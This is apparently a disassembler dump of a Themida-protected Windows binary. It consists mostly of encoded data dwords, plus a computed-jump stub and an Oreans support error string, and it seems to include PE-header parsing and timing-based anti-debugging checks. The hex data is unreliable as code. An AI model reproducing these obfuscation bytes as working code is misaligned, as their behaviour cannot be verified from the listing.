dd 30054B38h, 0F7DB0165h, 65265CA2h, 252CDB01h, 59464D0Dh
dd 0B425E204h, 2AA6C9EDh, 135164Ch, 0B6651CDBh, 696880A1h
dd 1EBC6B30h, 0DAC3D8F9h, 0D2084E3Dh, 0D8DB0135h, 0A7E5B0D1h
dd 337966AEh, 0E2AC87DEh, 0B7F0DDE4h, 0E608F5E2h, 0DA37586Fh
dd 0FC233B90h, 0FF18BEF7h, 405704E7h, 0F6DE3775h, 21B6E709h
dd 7A74197Eh, 551D6362h, 5BEA5854h, 6C2E6754h, 2EF91EBBh
dd 422B4061h, 748F8790h, 6DE5B45Ch, 0B0F00D8h, 0D5860000h
dd 10C4ADC2h, 4F09F207h, 8C4A3348h, 0CE8D768Bh, 23A6B4C9h
dd 0AFC4D382h, 0EF0413C6h, 31465106h, 6C819648h, 71A7ED8Ch
dd 77CBAE09h, 17C72FDDh, 0E6B83500h, 70A9DF25h, 0CD8CD359h
dd 0F4151CCAh, 0EDEAAC29h, 0E4F3A522h, 0D03B5419h, 54BFD8F1h
dd 0D80E54A9h, 0BBD35970h, 6633FE19h, 0B699B1B8h, 0D8DEF3E4h
dd 1BA7FD92h, 4567h, 11066500h, 8D92D8C5h, 93DB018Eh, 0B0669F8Ch
dd 0F70FDCA7h, 0DAFD9D1Ah, 843ADCC5h, 0C39D76D5h, 240B8BA2h
dd 2A89B26Ch, 81B7FDEAh, 87DB01B9h, 56945F80h, 0F2B565C1h
dd 0EE0F3027h, 0C0E6BB01h, 0E5ECE2A9h, 15C7E4D0h, 93E8ED02h
dd 0C19FB85Ah, 0D359708Bh, 82728A91h, 0D3597055h, 2433E31Ch
dd 91748C59h, 14BED3C4h, 91E6D303h, 0CB968158h, 32F6E6FEh
dd 38DB04C3h, 4B0B4431h, 0FC35344Ch, 154E3B5Ch, 163D5542h
dd 0A572AB2Ah, 0D09A9AB2h, 461C27F5h, 7F4A4D0Dh, 8B7E9AB2h
dd 63000001h, 7092C80Eh, 0E198D2D9h, 0E8002136h, 0C4120602h
dd 2C65ABF0h, 0F3D35970h, 7022589Eh, 2128D359h, 4D30809h
dd 86A7B063h, 0A6DC22BBh, 0ACD35970h, 8F6384A5h, 208F6FABh
dd 171F068Eh, 0BC895443h, 0B68CAE9Bh, 0A0B767D9h, 684E08D5h
dd 0CBB1C92Dh, 13068397h, 0AB6FEFC3h, 0A7F590AAh, 46291Eh
dd 6270000h, 0A1DAC71Fh, 706735F2h, 0ECB7D8A5h, 0C025F886h
dd 365743F6h, 43747B7Ch, 0E800489Fh, 0A672AB02h, 70699FE5h
dd 686FD359h, 0B7A07647h, 215AA09Fh, 27D35970h, 6FAB4C20h
dd 320611C7h, 3C6CA872h, 0AE000000h, 0F3C71F06h, 702C65ABh
dd 0D1F3D359h, 0C2084273h, 0D358D18Ch, 61D18B92h, 0A9AAC2BBh
dd 56AB5024h, 50DF9F34h, 0F4C18C8Bh, 458BE43Ah, 11C7472Dh
dd 0AF21E76Dh, 90B1F250h, 0AAA872BCh, 1EA7F590h, 3D29h
dd 13062700h, 99A7D12Ah, 9DBE4B5Dh, 2C65ABC9h, 32D35970h
dd 353E6D92h, 0E70863A7h, 295FA5FAh, 2FD358F2h, 0AB2A1028h
dd 215C76Fh, 0EF92F315h, 0FAAD995Ah, 0A872FCE2h, 4F6Ch
dd 56ABAE00h, 5970DA10h, 0C1D9E0D3h, 0C80E3A1Dh, 0D3597092h
dd 83709198h, 7118A961h, 0DCF661Eh, 0EBD1E90Ah, 702C65ABh
dd 6CF1D359h, 0C76FAB98h, 0AB2E0215h, 28466089h, 0DCA5219h
dd 51723F0Ah, 0E1E81E64h, 0E7EED358h, 7BB497CFh, 0C1A7BFD8h
dd 0FFFE6C6Ch, 7F7395FFh, 3FCF47BBh, 9ABBDC80h, 11069C82h
dd 5192D8C5h, 57DB04C3h, 682A6350h, 0A3B05A6Fh, 2387E6Bh
dd 0C9DB04C3h, 0B4CCCB90h, 9822EDF4h, 0DB04C364h, 8B49827Fh
dd 0EE59748Ch, 72A8EE43h, 78DB04C3h, 1737B771h, 4290E1FFh
dd 0AC602A2Ah, 10B9E3F3h, 0B7000000h, 597080BAh, 0A4B363D3h
dd 0B94B8Fh, 68D0000h, 92D8C511h, 0DB017419h, 0E6F1A7E0h
dd 0DA7D4E1Bh, 0D25F2BDh, 0EFE1AD4Dh, 7DFA3076h, 0F900DB01h
dd 51D4F03Fh, 0F4BFD880h, 0E0190627h, 0DA2F1C3Bh, 2635E94h
dd 455D64DBh, 7760351Eh, 2DE96EACh, 0B6A9FA40h, 0F8AFE2ADh
dd 23103126h, 152A2DEAh, 9D686F2Ch, 3369AF04h, 39E2ADB6h
dd 0E1761A32h, 0ADF34835h, 0E2ADB677h, 5F5E767Dh, 59075119h
dd 635057EAh, 5A6F682Ah, 0BEB6A171h, 0E5B5293Dh, 965D35CAh
dd 0D000007h, 4D364B4Ch, 8A73888Fh, 0CBB4C9CEh, 0AF3080Fh
dd 29374C4Bh, 415605A0h, 8394432Ch, 0C7D0856Eh, 0E09C9B2h
dd 347A19F9h, 0CBAE05FEh, 0C7BC6A04h, 0B8350017h, 6126F1E6h
dd 8C4EDD48h, 3A70768Bh, 1C1BA801h, 2A4C62FAh, 178D1AC5h
dd 2DBE7816h, 5A768EC8h, 36h, 0C5110658h, 99A592D8h, 0A4ABDB01h
dd 99154FD9h, 22F8DB01h, 28ED6A35h, 0C697642Fh, 73380314h
dd 7710EF5Ah, 347F35Eh, 0F3E3FFD6h, 0E7FF18BAh, 47CBh
dd 1106C900h, 5AB6D8C5h, 89A422C4h, 0C5908755h, 0C0BFD7F8h
dd 11BB97Ah, 5208BFDBh, 0DC592445h, 1F081D3Ah, 0FD01BF7Fh
dd 8B1A5096h, 1920DB00h, 1735B65Fh, 68ED2BF6h, 79BFACh
dd 0C7E2A8C8h, 0B3CBCC8Eh, 0EBD7ECF3h, 7BDC91C3h, 0C7B0FF02h
dd 82A3C042h, 552E4F95h, 2D34DB01h, 9FA33604h, 50C59B77h
dd 5E759784h, 4F480F1Bh, 0EBFDB784h, 0DE7B4C35h, 5CA2A1B9h
dd 0A31FDCB7h, 0A7C9B6BDh, 41CD154h, 72ADCC5Ch, 0B36E5275h
dd 5F9D7A92h, 0EB311EF6h, 0AAC83990h, 69A28F96h, 9291A9AEh
dd 4255043Dh, 9BB3A471h, 4F1E6B8h, 393369AFh, 3239AAC8h
dd 0B5EEF31Ah, 0FCDFF7E0h, 447CA45Ah, 0C39AB44h, 0E8ECF3EBh
dd 881D2424h, 638B0h, 0E9EEAF00h, 2E29EBD4h, 6F683019h
dd 0B2A5715Ah, 0F6E1B49Dh, 0AFF6D3E1h, 0EDD6EBECh, 2F182D2Ah
dd 6F586D6Ah, 0B393A8AFh, 498CE14h, 49ECBAEh, 17C756h
dd 0F7E0B835h, 8FFCE80Ah, 90D92FC4h, 0AEA75178h, 9E407966h
dd 0D626179h, 481304D4h, 2273637Bh, 28DB04BBh, 0BBD90F55h
dd 0D8DFDB04h, 0A96FECB7h, 0F539B6AEh, 0E176F4E1h, 5C809h
dd 799E3F00h, 0BED97B64h
dd 0FF18C0A9h, 425501EAh, 8691442Dh, 3F666371h, 7D667B9Ch
dd 0BFA8BDDAh, 0FFE8FD1Ah, 4323385Fh, 4285EA4h, 942ECBAEh
dd 0C51106E6h, 0C33D92D8h, 8C43DB04h, 570FC9CEh, 4E481FB7h
dd 24BD88A9h, 0DD5389CFh, 0A259DB04h, 0D7C4E5F2h, 4DD5B91h
dd 425A61DBh, 0A69EB95Fh, 0F4E1D333h, 5E572FC4h, 0D5000005h
dd 15FE1304h, 523B5047h, 937C9186h, 0D2BBD0C7h, 0F1FF1403h
dd 90ECDD8h, 4B4C0BF4h, 8F884D36h, 0D6C1917Ah, 0FC42E1C1h
dd 0CBAE04C6h, 68432CCh, 92D8C511h, 0DB04C339h, 0F06D383Fh
dd 0CA372F28h, 7F4E1EDh, 5139A72h, 0C98A0000h, 0CD0B9CEh
dd 4B0DF60Bh, 884E374Ch, 0C2917A8Fh, 17B2C0D5h, 0B3C8CF8Eh
dd 0F3080FCAh, 354A4D0Ah, 788D8A4Ch, 7DB3F998h, 83CBAE03h
dd 17C73BE9h, 78BE1300h, 0D3597042h, 9A657225h, 181FCDh
dd 0E3F4A623h, 36F3D4F6h, 0EF8C3EBBh, 0F30B2C2Bh, 5CC7C216h
dd 0F50A0DCDh, 824D4A0Ch, 0EFE8B0E9h, 1BAEE7D7h, 0E990D359h
dd 782FEF7Eh, 475005A2h, 0BD8EAF7Ch, 6734FF18h, 96483146h
dd 9939B681h, 56BF697Eh, 0A4B917Eh, 10DB0143h, 83A53E09h
dd 0AFE98121h, 9617775h, 4D108C2h, 0F02A1A32h, 0BDB0092h
dd 97DB87F2h, 87E3FF20h, 70888F4Eh, 2354h, 11065200h, 5D92D8C5h
dd 63DB0176h, 0CAEBECACh, 763B75FFh, 3D56DB01h, 0FB6C26D2h
dd 0FBB5E3FFh, 0B3000000h, 130017C7h, 704278BEh, 4148D359h
dd 0CCF4C29h, 13C3400Bh, 557D8D6Bh, 516FD3A7h, 0FCDD191Fh
dd 31FC1D3Eh, 0D1E57698h, 9D4C396h, 0DB97823Ch, 5DFDE0F8h
dd 382F253Ah, 1BD3596Eh, 0EFE8AC7Bh, 0F6A8E1CEh, 314916E1h
dd 37E3050Ah, 601CFFE2h, 0D082657Dh, 36574017h, 0EC282D6Bh
dd 2E64AAFFh, 34D358EFh, 0D016152Dh, 0DB00FE63h, 0F0E7B269h
dd 72C0E2CFh, 61762387h, 2441C3A7h, 0C6918653h, 10BAE1F9h
dd 9CE2CF07h, 0E2AB80ECh, 38C52F2h, 830C2254h, 993C7562h
dd 0DD80697Eh, 954BC2BAh, 0EF84FC18h, 39017h, 41560700h
dd 8691432Ch, 0C7D08871h, 0A0DC9B2h, 4E490CF5h, 79E2B39h
dd 452E4354h, 87708592h, 0C7B0C5D2h, 0BEB0017h, 1F0266Ch
dd 5CF6CBAEh, 6A14C7AEh, 0E98D42C5h, 175D4ACAh, 0D35959E1h
dd 0D2BFE0E7h, 27905FB0h, 7C947E33h, 0ADAA6C55h, 1106AC98h
dd 5D92D8C5h, 63DB0176h, 3E54EAACh, 0D4BD06FCh, 11DCFD1Eh
dd 0A7DD2378h, 0ADDB0263h, 6C3720F6h, 76667E9Fh, 0DB02633Ch
dd 27D33E57h, 0E3FF0C63h, 10AB6h, 17C7B400h, 479C3500h
dd 5970CB01h, 0B2CAD1D3h, 0BD5B0CCFh, 15AE799Ah, 51D3ADCh
dd 59751E15h, 66C3E5D3h, 2E792E28h, 3FDFC2DAh, 781A0318h
dd 0C156945Fh, 8DD32815h, 0D359BD57h, 0E7F0A65Dh, 162E4F1Ch
dd 19A0C217h, 0C652E1F2h, 3EAB9BB3h, 44DB0264h, 0ACCDCA8Dh
dd 0EE246ABFh, 0D1DB0263h, 7C491403h, 88AFC7CEh, 0B09D79DEh
dd 1C81395Bh, 0F4249349h, 1B3E016h, 611C3DBh, 0B9C06E3Bh
dd 144DA2A1h, 8855047h, 0AC794453h, 7483738Bh, 7AE2AC60h
dd 894D8673h, 0DEF6C38Eh, 0E0F7A6DFh, 4A07D1F3h, 0D40473CFh
dd 0E9AC95BCh, 9DA1F6EEh, 0B94EFC18h, 250E1h, 116C700h
dd 465103ECh, 87904831h, 0CACD8972h, 0E09CCB5h, 0C7DEEBF9h
dd 5EE0314h, 47304552h, 87708592h, 0CBABC0D7h, 0B0E62Ch
dd 1CB6CBAEh, 5314C76Eh, 0FFCC9780h, 4B6C6B2Eh, 96DC3136h
dd 0D3597060h, 0EC7FC666h, 0E6348547h, 8CAADC5h, 0C70EFA0Fh
dd 0B8350017h, 0EB9341E6h, 85D3EC0Bh, 0A4C5E610h, 0A470E58Fh
dd 0C88471B7h, 838ADB00h, 36E61FB8h, 71895621h, 0C84781h
dd 0DE4962DBh, 0FF557832h, 2EC1E3h, 6BF0000h, 92D8C511h
dd 0DB018765h, 813C0A2Ch, 0B16E5004h, 7622D999h, 0A8C99661h
dd 0FD1953DDh, 1B34DB01h, 724E04B0h, 1393E3FFh, 91000000h
dd 597081BAh, 62B2A3D3h, 87162F75h, 151CDB01h, 89AB1400h
dd 9C64EA9Ch, 4D5B641Dh, 978B02BCh, 2730D4ECh, 27BC02EFh
dd 2DDB012Dh, 97D15B26h, 0B2DB012Dh, 0C8822E99h, 2EE3FFBEh
dd 653027F5h, 215C798h, 36526A37h, 36h, 7080BA34h, 0B5A2D359h
dd 8527461h, 0F5F7D09Eh, 0EC414058h, 27F2E5B3h, 3952425Ah
dd 0DB009Bh, 0CA1B02DEh, 0A7780F17h, 4D1AE5F2h, 596E7535h
dd 5A7D1B54h, 11065C42h, 3192D8C5h, 37DB04C3h, 480A4330h
dd 81513A4Fh, 888DCB96h, 0C40A5F4Ch, 0DB04C38Eh, 0C3D90F55h
dd 0D8DFDB04h, 0B7A0732Ah, 2A7F7E96h, 1A3225F1h, 0B015462Ah
dd 0D40DE2h, 1515D17h, 929C3119h, 0C6B3BA7Ah, 0B5CACD8Dh
dd 420D0ACCh, 0D6C31304h, 585C0F90h, 0FE9DD6EAh, 29410ED9h
dd 0DF6A6269h, 0D8E5B454h, 0AB6B43h, 71220000h, 0B4685166h
dd 0F3A58EA3h, 30E6CFE4h, 6A291227h, 7F4A586Dh, 4B607726h
dd 8BA0B762h, 0CDE2F5A2h, 102532E4h, 154B9130h, 1BCBADFFh
dd 1106D381h, 0AA92D8C5h, 71DB04C2h, 5B736438h, 4CC9949Bh
dd 8F788D8Ah, 73FDC8CFh, 32B44CD8h, 0EF7EE9E4h, 2A13282Fh
dd 27A46F68h, 3769873h, 8FCFCBD5h, 1E1C5230h, 6B2232B4h
dd 0BD8EAFA8h, 0CD7F81Fh, 17C70091h, 62CDE800h, 0FF1403D3h
dd 0F0A34416h, 50C8884Eh, 0B9DA7D79h, 0DF34CD98h, 0B40C6399h
dd 0AEE42A32h, 0B432B40Ch, 0E0F8FFADh, 8A2h, 0C692CB00h
dd 0DCD3B9D1h, 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh
dd 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h
dd 0EC833CF4h, 24048904h, 405E089h, 83000000h, 48704E8h
dd 89565C24h, 4C681E6h, 83000000h, 348704EEh, 14895C24h
dd 266E6824h, 34890000h, 43B85024h, 0F779F613h, 0DD8F7D8h
dd 294F13E0h, 5A5E7C2Dh, 1E88339h, 69F2805h, 58C289C7h
dd 8904EC83h, 4812424h, 424h, 0EC815E00h, 4, 8F241489h
dd 34FF0846h, 0C4835E24h, 2434FF04h, 4C4815Ah, 0E9000000h
dd 0FFFD0CBFh
db 50h, 10h
; ---------------------------------------------------------------------------
loc_5B875E: ; CODE XREF: Themida_:005B6820j
mov eax, 7AB7275h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0ECh
dd 122476D4h, 8F695C6Fh, 5F6282A0h, 0C76309D9h, 3C0B8431h
dd 0E8423412h, 594E1985h, 0CC741BA8h, 0C221D368h, 0EB5877DFh
dd 3B0E94D4h, 0E553021h, 0A64A5F04h, 9866CF05h, 0B55A2BF3h
dd 42C7B4h, 0E1654838h, 0A17BFDD8h, 4F2A459Dh, 0DF5A7933h
dd 55289B19h, 0D8175723h, 527C34C0h, 0CB1A3893h, 0FE243024h
dd 3129D644h, 9B515642h, 0E95F6CB7h, 83h, 56525153h, 245C8B57h
dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh
dd 5785h, 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh
dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h, 4243E875h
dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 400E9CAh
dd 0
db 0
align 2
a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah
db 0Dh,'Please, contact support@oreans.com. Thank you!',0
align 4
dd 45h dup(0)
dword_5B89E0 dd 0 ; Themida_:0058816Ar
dd 9Dh dup(0)
dd offset dword_55FD48+2B8h
dd offset dword_44B1A4+4E5Ch
dd 0
dd 48E90000h, 0E9000011h, 13h, 2CC1407Dh, 22924844h, 0A275257Fh
dd 0CD2B49C7h, 8B500A5Ah, 0A8037985h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0BEC5603Ch, 12E9h, 0F54F9700h, 1DB01D15h, 0EA313FFDh
dd 202BC6DFh, 39FA7933h, 0F042444h, 6F85h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 381B886Bh, 0F5A4FA2Ah, 4DBD83F8h, 7A829h, 3E840Fh, 9E90000h
dd 0E4000000h, 0AA295026h, 0E6297440h, 0DF858DF8h, 6A07A83Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E905C356h, 5, 0A56E9FF1h, 0FCE0FF20h, 1E35858Bh
dd 7E907A8h, 0EC000000h, 0C3290B61h, 44394EA8h, 850F0424h
dd 43h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
dd 0CDC35545h, 1693C56h, 0A8298595h, 0F985C707h, 107AB77h
dd 60000000h, 225DB501h, 9D8B07A8h, 7A80C89h, 0BD8D2961h
dd 6007A800h, 9800Fh, 80600000h, 0BA6681CEh, 0E961EFCFh
dd 46h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
dd 5C35646h, 0B35FDB0Fh, 60BB9ADCh, 13318589h, 0BE807A8h
dd 0D1000000h, 9C1ACC71h, 84758F28h, 0BD8B724Ah, 7A807EDh
dd 615Bh, 1B80000h, 87000000h, 0AB798585h, 75C00B07h, 19B5FFF6h
dd 8F07A806h, 0AB77F185h, 6A206A07h, 0D95FFFFh, 8307A806h
dd 0A81759BDh, 8740007h, 95FF006Ah, 7A80D21h, 5A1BD83h
dd 740107A8h, 80680Dh, 0FF6A0000h, 60D95FFh, 6A07A8h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0D3B71DC3h, 14E9h, 528FEF00h, 2AED27A8h, 1CCAD85Dh
dd 0BB2973C9h, 42C61495h, 319529DFh, 2B07A80Ah, 548BF8C0h
dd 8B602824h, 0A8046D95h, 0FD958907h, 6107A80Fh, 330D8589h
dd 958907A8h, 7A809E9h, 3CBEh, 0CE806000h, 14E9E2h, 5F150000h
dd 0B1717C0Dh, 0AD3967F5h, 1484FF64h, 0D0D3A757h, 0E961FC0Fh
dd 0Eh, 0BEBB3CE8h, 0CF2282CAh, 0E70E2A04h, 7403DEB9h
dd 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 5C5E0EC3h, 0FE8CE6A5h, 6DBD018Ch, 6607A835h
dd 4403F8ADh, 840F2424h, 15h, 10E9h, 56732000h, 6D142ACAh
dd 835ABC38h, 5EE80BBAh, 6E99036h, 91000000h, 0DB17C0E1h
dd 56605087h, 2018B2BBh, 0B9665B5Dh, 90617516h, 6860Fh
dd 95090000h, 7A80305h, 0FC78408Bh, 77F9BD83h, 0F0007ABh
dd 0BF85h, 0F90FC00h, 1682h, 10810F00h, 0E9000000h, 0Bh
dd 67B48E1Bh, 0B4F9129Eh, 500F4B08h, 0CB8B6660h, 61C88B66h
dd 68D0F90h, 1000000h, 0A80A1185h, 0BD896007h, 7A81495h
dd 448B61FCh, 6A2C24h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 89BD6DC3h, 0A82739BDh, 6E99007h
dd 67000000h, 0C6EBDFA5h, 12E9502Fh, 0DE000000h, 0C1C4C9E7h
dd 6303B8C8h, 14F31061h, 0E985DCF4h, 0BD8990FFh, 7A82CBDh
dd 50FB858Dh, 6A07ABh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 0C19852C3h, 1523554h, 0A827E59Dh
dd 0FCD0FF07h, 28244403h, 18408BF9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0FAC35343h, 398D8947h, 4007A82Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h
dd 89B78D99h, 0A81969BDh, 0F5858907h, 6A07AB77h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 7F1EC351h, 895C71C1h, 0A8047185h, 7E907h, 98C50000h
dd 0C804A58Ah, 666058E5h, 664DFCBEh, 616C26BFh, 8978708Bh
dd 0A82DDDBDh, 1CC68307h, 0F8E0Fh, 0AE90000h, 3D000000h
dd 4BB669BCh, 79E2AEADh, 6A962Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 5CDF40C3h, 0AB36A654h
dd 247C81C6h, 24h, 0D1870F10h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 894CC353h
dd 0A81AB185h, 60609007h, 870Fh, 8A610000h, 0E95061CBh
dd 7, 4572A9C9h, 900751C6h, 19418D89h, 448B07A8h, 85292824h
dd 7A81A49h, 56B06050h, 2FDD3CBEh, 489616Ah, 719D0124h
dd 8D07A808h, 0AB50FB85h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DCFAF2FFh
dd 6018C913h, 0BE8h, 3EFA4400h, 0ADAE3E24h, 210316D3h
dd 0CEDBD09h, 895B07A8h, 0A81ADDBDh, 0D0FF6107h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0D8C35040h, 4BAB4138h
dd 8529FC80h, 7A80761h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 0C441BB85h, 397A66F9h
dd 3F8F9BAh, 6A242474h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 40EC350h, 6890Fh, 9D310000h
dd 7A80EADh, 0FCDBD8Dh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 58B2FDC3h, 0E7D22686h
dd 6860Fh, 85010000h, 7A80FA9h, 55006AADh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 81DEEF68h
dd 23898D01h, 7C8107A8h, 2424h, 870F1000h, 144h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 85C35040h, 0B8270D20h
dd 646C59C8h, 0C995891Ch, 9007A80Eh, 18870Fh, 13E90000h
dd 0FD000000h, 6E7DA442h, 2AEE6CDBh, 8881DCD0h, 856AA4C1h
dd 0E9500617h, 9, 272987D1h, 6416BA94h, 6A90EEh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0A84B5C3h, 0E810B0DAh, 18A0Fh, 8BF80000h, 6A282444h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 53AAC352h, 0D6E18F54h, 79B531CFh, 0E907A80Fh
dd 8, 9FB8E4F6h, 0D95596AFh, 138B0F90h, 0E9000000h, 0Eh
dd 99EBB860h, 6FFA77D6h, 0C9B7E3E3h, 0E95073F4h, 0Bh, 0CDBDBA05h
dd 5314102Ch, 90FA269Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 45C35646h, 8DD8B949h, 0AB50FB85h, 0A9958907h
dd 0FF07A834h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 60CAEC4Dh, 96A271BEh
dd 0D0BF6657h, 9D89618Ch, 7A81DD5h, 24244403h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 42C35040h, 1850Fh
dd 0ABF50000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0A2C35545h, 0E8ED512h, 0B5297643h, 7A821E9h, 0FA81h
dd 820F0001h, 72Ah, 10719D89h, 0BD8D07A8h, 7A81549h, 11E9ADF9h
dd 0C8000000h, 0DFFD7DADh, 81A735F3h, 6F641D21h, 66DFCAADh
dd 24247C81h, 10000000h, 125870Fh, 7E90000h, 1D000000h
dd 0C5E0D3B7h, 11E95D3Eh, 46000000h, 0A98E76ABh, 0F55F4DD9h
dd 5E95A5A5h, 0CE812A59h, 50525090h, 8E0F52h, 0F000000h
dd 0F525031h, 5A585A31h, 50310F58h, 0F616052h, 5A616031h
dd 50585A58h, 5E9h, 4C2A700h, 6A9064FFh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 9E76C353h
dd 2C5D8D31h, 958907A8h, 7A822CDh, 1810Fh, 8BFC0000h, 0F282444h
dd 582h, 0B70F6000h, 505061D6h, 0B8666052h, 61609FDCh
dd 0E9310F61h, 12h, 0B04E0433h, 0FF2C82E4h, 0B0121F9Ch
dd 1B0AA7D8h, 585AF6B2h, 0F240489h, 78Ah, 18A0F00h, 0F8000000h
dd 50FB858Dh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 5C206EC3h, 6660E547h, 2961D38Bh
dd 0A82E658Dh, 6AD0FF07h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 124DC352h, 0BD296086h
dd 7A81D01h, 8AD958Bh, 36107A8h, 6A242444h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F354C355h
dd 95187898h, 7F960953h, 0DE9h, 97E25400h, 4921751Ah, 0C47AB3FDh
dd 50F90D38h, 52505250h, 310F5250h, 310F585Ah, 12E9h, 0E1E46500h
dd 0D2C6A41Dh, 0DDCB47h, 2BC1F979h, 5A2ADD05h, 0E9310F58h
dd 14h, 4B9B533Fh, 0A21FEC90h, 0DB95D0D9h, 7782F18Dh, 48896B86h
dd 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 0F6A5AC8Fh, 12E99FE6h, 29000000h
dd 0FB41683Dh, 0E57C01EAh, 0DB29D36Eh, 9D4901A1h, 6AABADh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0D542D4C3h, 0C58D8B60h, 5707A81Ch, 5CCE8166h, 89615FC3h
dd 0A823659Dh, 3DBD8D07h, 8907A82Eh, 0A8078985h, 8D0FAD07h
dd 9, 66EE8A60h, 3D75C881h, 247C8161h, 28h, 1870F10h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 4898C355h, 880FDB66h, 10h, 0BE9h, 7B893C00h
dd 7833F1ACh, 6CB9C5EDh, 0A810Fh, 5E90000h, 1C000000h
dd 0B1F70CFFh, 60525090h, 310F5250h, 8B66585Ah, 310F61C7h
dd 7E9h, 0C5A13700h, 0EED06C65h, 0E950585Ah, 0Ah, 825E818h
dd 4610EE72h, 6A900487h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 6FB0C356h, 18D32FF9h
dd 2C24448Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0C3C35545h, 2CE59D01h, 0F5007A8h, 0F8Dh, 0AE900h
dd 0D0ED0000h, 62B7D6D9h, 244BBF99h, 0FC240489h, 50FB858Dh
dd 8D8907ABh, 7A802F1h, 0FE9h, 8F545300h, 0E8CFD6E1h, 0DA6D8E72h
dd 0EBEDEE59h, 5E9D0FFh, 0DE000000h, 0E53180BCh, 28244403h
dd 6850Fh, 0B5890000h, 7A800B1h, 818509ABh, 5E07A800h
dd 77F58DFFh, 0BD8307ABh, 7AB77F5h, 330A7500h, 0E7B58DC0h
dd 0FF07AB85h, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh
dd 8D502C24h, 0AB50FB85h, 3D0FF07h, 97282444h, 858ADF8Bh
dd 7AB77F1h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h, 5449F381h
dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 330D85FFh, 5DE907A8h
dd 5EFFFFFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0E3C35646h, 21BE00ECh, 0B501A23Ch, 7A8316Dh, 1890Fh
dd 6AF50000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 71D6C353h, 0F60D7CBh, 68Ah, 6D9D2900h
dd 6107A828h, 330D858Bh, 9D8907A8h, 7A81775h, 6AE0D1h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 136572C3h, 34BE9DA0h, 1830F04h, 0F9000000h, 2E3D8503h
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 6F24F5C3h, 0BEA2EDh, 0F000000h, 68Ch, 0CD9D8900h
dd 9607A832h, 33898D01h, 0AD6607A8h, 215D9531h, 0E0C107A8h
